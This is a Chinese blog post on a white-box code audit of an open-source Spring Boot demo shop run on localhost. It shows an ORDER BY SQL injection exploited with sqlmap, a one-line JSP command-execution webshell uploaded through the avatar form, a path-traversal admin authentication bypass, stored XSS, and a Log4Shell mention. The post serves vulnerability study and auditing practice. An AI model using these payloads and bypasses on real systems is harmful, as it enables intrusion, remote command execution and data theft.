JAVA代审-Tmall(迷你天猫商城)


项目介绍

迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护

这种springboot的肯定很多学生就是喜欢做这类的项目,尤其在agent彻底到来之前,然后很多公司的程序员,尤其很多小厂的,基本就是这个水平。差不多毕设的水平吧!

项目搭建

项目地址

1
https://gitee.com/project_team/Tmall_demo

mac的mysql,MySQL 8.0

1
2
3
a1@1deMacBook-Pro ~ % mysql --version
mysql Ver 8.0.46 for macos27.0 on arm64 (Homebrew)
a1@1deMacBook-Pro ~ %

数据库管理工具我使用的是dbeaver
然后中间搞不好的问下ai就行了

打开项目等待maven加载加载完成后修改数据库配置文件Tmall_demo-master\src\main\resources\application.properties

创建对应数据库,导入sql文件sql文件:Tmall_demo-master\sqls\tmalldemodb.sql配置spring boot,注意jdk版本1.8,配置完启动即可

http://localhost:8080/tmall/
普通页面

后台地址:http://localhost:8080/tmall/admin
管理员账号:admin/123456
注意一下端口!!!
不会的地方使用codex一下就可以搞好了

漏洞挖掘

漏洞一sql注入

翻看pom.xml,发现存在mybatis依赖

既然有那么大概率使用,全局搜索关键词${

这里全局搜索的方式就是

  • Windows / Linux:Ctrl + Shift + F
  • macOS:Cmd + Shift + F

全局搜索的意思就是,检索项目中所有包含该字符的文件内容

最好右上角这个文件掩码打开下,选择一下自己想要的文件,不然全是js和这个jsp,比较难找到自己想要的文件

然后根据条件,搜索到ProductMapper.xml

里面有内容

1
2
3
<if test="orderUtil != null">
ORDER BY ${orderUtil.orderBy}
<if test="orderUtil.isDesc">desc</if>

就知道我们接下来要找的这个类就是

orderUtil类

然后选中orderUtil,点击两次shift,然后选择类,就找到了我们这个类是怎么写的了

就像上图一样,然后点击进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.xq.tmall.util;

/**
* 查询排序工具
* @author 贤趣项目小组
*/
public final class OrderUtil {
//排序字段
private String orderBy;
//倒序排序
private boolean isDesc;

public OrderUtil(String orderBy){
this.orderBy = orderBy;
this.isDesc = false;
}

public OrderUtil(String orderBy,boolean isDesc) {
this.orderBy = orderBy;
this.isDesc = isDesc;
}

public String getOrderBy() {
return orderBy;
}

public boolean getIsDesc() {
return isDesc;
}
}

主要是这一小段代码

1
2
3
4
public OrderUtil(String orderBy,boolean isDesc) {
this.orderBy = orderBy;
this.isDesc = isDesc;
}

然后选中我们的OrderUtil

  • Windows / Linux:Ctrl + Alt + F7
  • macOS:Cmd + Option + F7

要是没有就要多按一个fn

有两个方法,但是第一个无使用,所以我们看第二个的使用

就可以看到有哪些。

不只是说可以用在这个类上,具体的构造方法和方法名上都可以用

  • 光标放在类名 OrderUtil 上:会搜到这个类所有的使用场景,包括所有构造方法调用、对象声明、类型引用等全部相关引用。
  • 光标放在具体的构造方法 / 方法名上:只会搜到调用这个特定方法的位置,结果更精准。你现在就是精准定位到了 (String, boolean) 这个构造函数的所有调用处

然后定位到代码

怎么定位到的就是说,我们要想着去带了这两个参数的方法,这样才可以找到是不是有可以传入参数的部分,我们控制传入参数的值,实现注入

1
\Tmall_demo-master\src\main\java\com\xq\tmall\controller\admin\OrderController.java

然后代码内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
package com.xq.tmall.controller.admin;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.xq.tmall.controller.BaseController;
import com.xq.tmall.entity.Address;
import com.xq.tmall.entity.Product;
import com.xq.tmall.entity.ProductOrder;
import com.xq.tmall.entity.ProductOrderItem;
import com.xq.tmall.service.*;
import com.xq.tmall.util.OrderUtil;
import com.xq.tmall.util.PageUtil;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

import javax.annotation.Resource;
import javax.servlet.http.HttpSession;
import java.util.Date;
import java.util.List;
import java.util.Map;
import java.util.Stack;

/**
* 后台管理-订单页
*/
@Controller
public class
OrderController extends BaseController{
@Resource(name="productOrderService")
private ProductOrderService productOrderService;
@Resource(name = "addressService")
private AddressService addressService;
@Resource(name="userService")
private UserService userService;
@Resource(name = "productOrderItemService")
private ProductOrderItemService productOrderItemService;
@Resource(name = "productService")
private ProductService productService;
@Resource(name = "productImageService")
private ProductImageService productImageService;
@Resource(name = "lastIDService")
private LastIDService lastIDService;

//转到后台管理-订单页-ajax
@RequestMapping(value = "admin/order", method = RequestMethod.GET)
public String goToPage(HttpSession session, Map<String, Object> map){
logger.info("获取前10条订单列表");
PageUtil pageUtil = new PageUtil(0, 10);
List<ProductOrder> productOrderList =
productOrderService.getList(
null,
null,
new OrderUtil("productOrder_id",
true), pageUtil);
map.put("productOrderList",productOrderList);
logger.info("获取订单总数量");
Integer productOrderCount = productOrderService.getTotal(null, null);
map.put("productOrderCount", productOrderCount);
logger.info("获取分页信息");
pageUtil.setTotal(productOrderCount);
map.put("pageUtil", pageUtil);

logger.info("转到后台管理-订单页-ajax方式");
return "admin/orderManagePage";
}

//转到后台管理-订单详情页-ajax
@RequestMapping(value = "admin/order/{oid}", method = RequestMethod.GET)
public String goToDetailsPage(HttpSession session, Map<String, Object> map, @PathVariable Integer oid/* 订单ID */) {
logger.info("获取order_id为{}的订单信息",oid);
ProductOrder order = productOrderService.get(oid);
logger.info("获取订单详情-地址信息");
Address address = addressService.get(order.getProductOrder_address().getAddress_areaId());
Stack<String> addressStack = new Stack<>();
//详细地址
addressStack.push(order.getProductOrder_detail_address());
//最后一级地址
addressStack.push(address.getAddress_name() + " ");
//如果不是第一级地址,循环拼接地址信息
while (!address.getAddress_areaId().equals(address.getAddress_regionId().getAddress_areaId())) {
address = addressService.get(address.getAddress_regionId().getAddress_areaId());
addressStack.push(address.getAddress_name() + " ");
}
StringBuilder builder = new StringBuilder();
while (!addressStack.empty()) {
builder.append(addressStack.pop());
}
logger.info("订单地址字符串:{}", builder);
order.setProductOrder_detail_address(builder.toString());
logger.info("获取订单详情-用户信息");
order.setProductOrder_user(userService.get(order.getProductOrder_user().getUser_id()));
logger.info("获取订单详情-订单项信息");
List<ProductOrderItem> productOrderItemList = productOrderItemService.getListByOrderId(oid, null);
if (productOrderItemList != null) {
logger.info("获取订单详情-订单项对应的产品信息");
for (ProductOrderItem productOrderItem : productOrderItemList) {
Integer productId = productOrderItem.getProductOrderItem_product().getProduct_id();
logger.info("获取产品ID为{}的产品信息", productId);
Product product = productService.get(productId);
if (product != null) {
logger.info("获取产品ID为{}的第一张预览图片信息", productId);
product.setSingleProductImageList(productImageService.getList(productId, (byte) 0, new PageUtil(0, 1)));
}
productOrderItem.setProductOrderItem_product(product);
}
}
order.setProductOrderItemList(productOrderItemList);
map.put("order", order);
logger.info("转到后台管理-订单详情页-ajax方式");
return "admin/include/orderDetails";
}

//更新订单信息-ajax
@ResponseBody
@RequestMapping(value = "admin/order/{order_id}", method = RequestMethod.PUT, produces = "application/json;charset=UTF-8")
public String updateOrder(@PathVariable("order_id") String order_id) {
JSONObject jsonObject = new JSONObject();
logger.info("整合订单信息");
ProductOrder productOrder = new ProductOrder()
.setProductOrder_id(Integer.valueOf(order_id))
.setProductOrder_status((byte) 2)
.setProductOrder_delivery_date(new Date());
logger.info("更新订单信息,订单ID值为:{}", order_id);
boolean yn = productOrderService.update(productOrder);
if (yn) {
logger.info("更新成功!");
jsonObject.put("success", true);
} else {
logger.info("更新失败!事务回滚");
jsonObject.put("success", false);
throw new RuntimeException();
}
jsonObject.put("order_id", order_id);
return jsonObject.toJSONString();
}

//按条件查询订单-ajax
@ResponseBody
@RequestMapping(value = "admin/order/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
public String getOrderBySearch(@RequestParam(required = false) String productOrder_code/* 订单号 */,
@RequestParam(required = false) String productOrder_post/* 订单邮政编码 */,
@RequestParam(required = false) Byte[] productOrder_status_array/* 订单状态数组 */,
@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
@PathVariable Integer index/* 页数 */,
@PathVariable Integer count/* 行数 */){
//移除不必要条件
if (productOrder_status_array != null && (productOrder_status_array.length <= 0 || productOrder_status_array.length >=5)) {
productOrder_status_array = null;
}
if (productOrder_code != null){
productOrder_code = "".equals(productOrder_code) ? null : productOrder_code;
}
if(productOrder_post != null){
productOrder_post = "".equals(productOrder_post) ? null : productOrder_post;
}
if (orderBy != null && "".equals(orderBy)) {
orderBy = null;
}
//封装查询条件
ProductOrder productOrder = new ProductOrder()
.setProductOrder_code(productOrder_code)
.setProductOrder_post(productOrder_post);
OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
} else {
orderUtil = new OrderUtil("productOrder_id",
true);
}
JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条订单", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<ProductOrder> productOrderList = productOrderService.getList(productOrder, productOrder_status_array, orderUtil, pageUtil);
object.put("productOrderList", JSONArray.parseArray(JSON.toJSONString(productOrderList)));
logger.info("按条件获取订单总数量");
Integer productOrderCount = productOrderService.getTotal(productOrder, productOrder_status_array);
object.put("productOrderCount", productOrderCount);
logger.info("获取分页信息");
pageUtil.setTotal(productOrderCount);
object.put("totalPage", pageUtil.getTotalPage());
object.put("pageUtil", pageUtil);

return object.toJSONString();
}
}

1
2
3
4
5
6
7
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
} else {
orderUtil = new OrderUtil("productOrder_id",
true);
}

看这个代码,知道orderBy是传入进来的

再往上翻一下,就知道了传入方式是如下

这里的@RequestParam(required = false) String orderBy/* 排序字段 */,

就是我们需要的漏洞利用位置

SQL 中 ORDER BY 后面的列名,不能用预编译占位符(?),必须直接写在 SQL 语句里。如果直接把前端传的 orderBy 字符串拼接到 SQL 中,攻击者可以传入:

这里也是面试非常容易考的一个点

然后往上看六行,知道功能点是按条件查询订单
然后再到后台寻找对应的功能

这里点击查询
然后可以抓到我们的数据包

然后可以看到这里有我们代码审计需要的这么一个内容,需要的参数

sqlmap一把锁

验证漏洞

1
2
3
sqlmap -u "http://localhost:8080/tmall/admin/product/0/10?product_name=&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=1&isDesc=true" \
--cookie="username=admin; JSESSIONID=EC9AF3C4766B62755BF0449C3574AA35" \
-p orderBy --batch --technique=BET

返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[*] starting @ 18:32:36 /2026-10-12/

[18:32:36] [INFO] testing connection to the target URL
[18:32:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:32:37] [INFO] testing if the target URL content is stable
[18:32:37] [INFO] target URL content is stable
[18:32:37] [WARNING] heuristic (basic) test shows that GET parameter 'orderBy' might not be SQL injectable
[18:32:37] [INFO] testing for SQL injection on GET parameter 'orderBy'
[18:32:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:32:37] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:32:37] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:32:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:32:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[18:32:37] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:32:37] [INFO] testing 'H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)'
[18:32:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:32:48] [INFO] GET parameter 'orderBy' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:32:48] [INFO] checking if the injection point on GET parameter 'orderBy' is a false positive
GET parameter 'orderBy' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: orderBy (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product_name=&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=1 AND (SELECT 9233 FROM (SELECT(!SLEEP(5)))ZALt)&isDesc=true
---
[18:33:08] [INFO] the back-end DBMS is MySQL
[18:33:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12
[18:33:13] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 36 times
[18:33:13] [INFO] fetched data logged to text files under '/Users/a1/.local/share/sqlmap/output/localhost'

[*] ending @ 18:33:13 /2026-10-12/

a1@1deMacBook-Pro ~ %

可以看到
[18:32:48] [INFO] GET parameter ‘orderBy’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] Y

可以看到有这个漏洞
或者我们来跑出来一个数据库来看看到底能不能注入出库来

1
2
3
4
5
6
7
sqlmap -u "http://localhost:8080/tmall/admin/product/0/10?product_name=&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=1&isDesc=true" \
--cookie="username=admin; JSESSIONID=EC9AF3C4766B62755BF0449C3574AA35" \
-p orderBy \
--dbms=MySQL \
--current-db \
--batch

req.txt这种肯定是最方便的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
a1@1deMacBook-Pro ~ % sqlmap -u "http://localhost:8080/tmall/admin/product/0/10?product_name=&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=1&isDesc=true" \
--cookie="username=admin; JSESSIONID=EC9AF3C4766B62755BF0449C3574AA35" \
-p orderBy \
--dbms=MySQL \
--current-db \
--batch
___
__H__
___ ___[)]_____ ___ ___ {1.10.9#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:39:03 /2026-10-12/

[18:39:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: orderBy (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product_name=&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=1 AND (SELECT 9233 FROM (SELECT(!SLEEP(5)))ZALt)&isDesc=true
---
[18:39:04] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[18:39:09] [INFO] confirming MySQL
[18:39:09] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[18:39:19] [INFO] adjusting time delay to 1 second due to good response times
[18:39:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0
[18:39:19] [INFO] fetching current database
[18:39:19] [INFO] retrieved: tmalldemodb
current database: 'tmalldemodb'
[18:39:57] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[18:39:57] [INFO] fetched data logged to text files under '/Users/a1/.local/share/sqlmap/output/localhost'

[*] ending @ 18:39:57 /2026-10-12/

这里可以看到库名,malldemodb

漏洞二前台文件上传

注册之后,来到个人主页,可以看到我们的这个头像更改的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /tmall/user/uploadUserHeadImage HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: cors
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylvAUuKs5v6lmPoiC
Origin: http://localhost:8080
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://localhost:8080/tmall/userDetails
Sec-Fetch-Site: same-origin
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="154", "Google Chrome";v="154", "Not A(Brand";v="99"
Sec-Fetch-Dest: empty
Cookie: username=admin; JSESSIONID=EC9AF3C4766B62755BF0449C3574AA35
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "macOS"
Content-Length: 815722

------WebKitFormBoundarylvAUuKs5v6lmPoiC
Content-Disposition: form-data; name="file"; filename="截屏2026-10-12 18.18.57.png"
Content-Type: image/png

{{unquote(#YBIN_7c6f3670e3da8a3c#)}}
------WebKitFormBoundarylvAUuKs5v6lmPoiC--

这里可以看到POST /tmall/user/uploadUserHeadImage我们要传入的路由

然后全局搜索user/uploadUserHeadImage定位代码段

可以看里这里的处理逻辑

代码中没有对文件进行检测,获取文件名然后进行uuid编码返回,保存路径也写了。

看了下有jsp解析依赖,配置文件中也有配置

然后上传jsp

直接上传.jsp弹窗,发现是js检测,看了下代码
直接就是抓包然后绕过就可以了

1
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

它这没返回路径,文件保存路径在代码中有,拼接上即可res/images/item/userProfilePicture/
最后连接蚁剑哥斯拉等等

然后理论上是这样的,但是我们的这个mac上我现在还没有安装,就先不尝试了

鉴权绕过

在pom.xml文件中搜索jwt和shiro关键字,发现都没有,接着去看它的目录结构是否存在filter或Interceptor

该项目结构里面找到我们的文件,它这里只有一个文件,直接看就行,如果有多个就根据文件名来优先查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.xq.tmall.filter;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.core.annotation.Order;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

/**
* 后台权限过滤器
*/
@WebFilter(filterName="adminPermissionFilter",urlPatterns= {"/admin/*"})
public class AdminPermissionFilter implements Filter {
//log4j2
protected Logger logger = LogManager.getLogger(AdminPermissionFilter.class);

@Override
public void init(FilterConfig filterConfig) { }

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
//如果是(登录界面,登录态失效界面),直接放行
if(servletRequest.getRequestURI().contains("/admin/login") ||
servletRequest.getRequestURI().contains("/admin/account")
){
chain.doFilter(request, response);
} else {
logger.info("检查管理员权限");
Object o = servletRequest.getSession().getAttribute("adminId");
if(o == null){
logger.info("无管理权限,返回管理员登陆页");
request.getRequestDispatcher("/admin/login").forward(request, response);
} else {
logger.info("权限验证成功,管理员ID:{}",o);
chain.doFilter(request, response);
}
}
}

@Override
public void destroy() { }
}

它这里if判断我们访问的url是否包含/admin/login或者admin/account,如果是就直接放行不进行验证,不进行权限判断,开发人员这样子写的思路是因为/login是后台登入地址,我们访问这个地址就是要登入,所以没必要进行权限判断,但是它使用的是contains,是我们访问的url地址要包含admin/login,那么我们这样子构造url地址

1
/admin/login/../xxx/xxx

这样就可以进行访问了
然后我们现在修改访问的url地址为/tmall/admin/login/../product/2
这些都可以访问进我们的后台页面
成功访问,漏洞利用成功

xss(存储型)

有的是这个框,有一个框就插入一个

这里可以看到成功弹出来了我们需要的这个

log4j2漏洞(CVE-2021-44228)

在pom.xml进行查看

这里可以看到用到了log4j2然后把版本信息也给你了

直接选择poc或者一把锁这种,先验证漏洞有没有存在,有存在的我们再继续尝试rce

也不继续深入了

总结

基本都没有啥waf,都是比较基础的一些漏洞。白盒测试真的爽呀


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录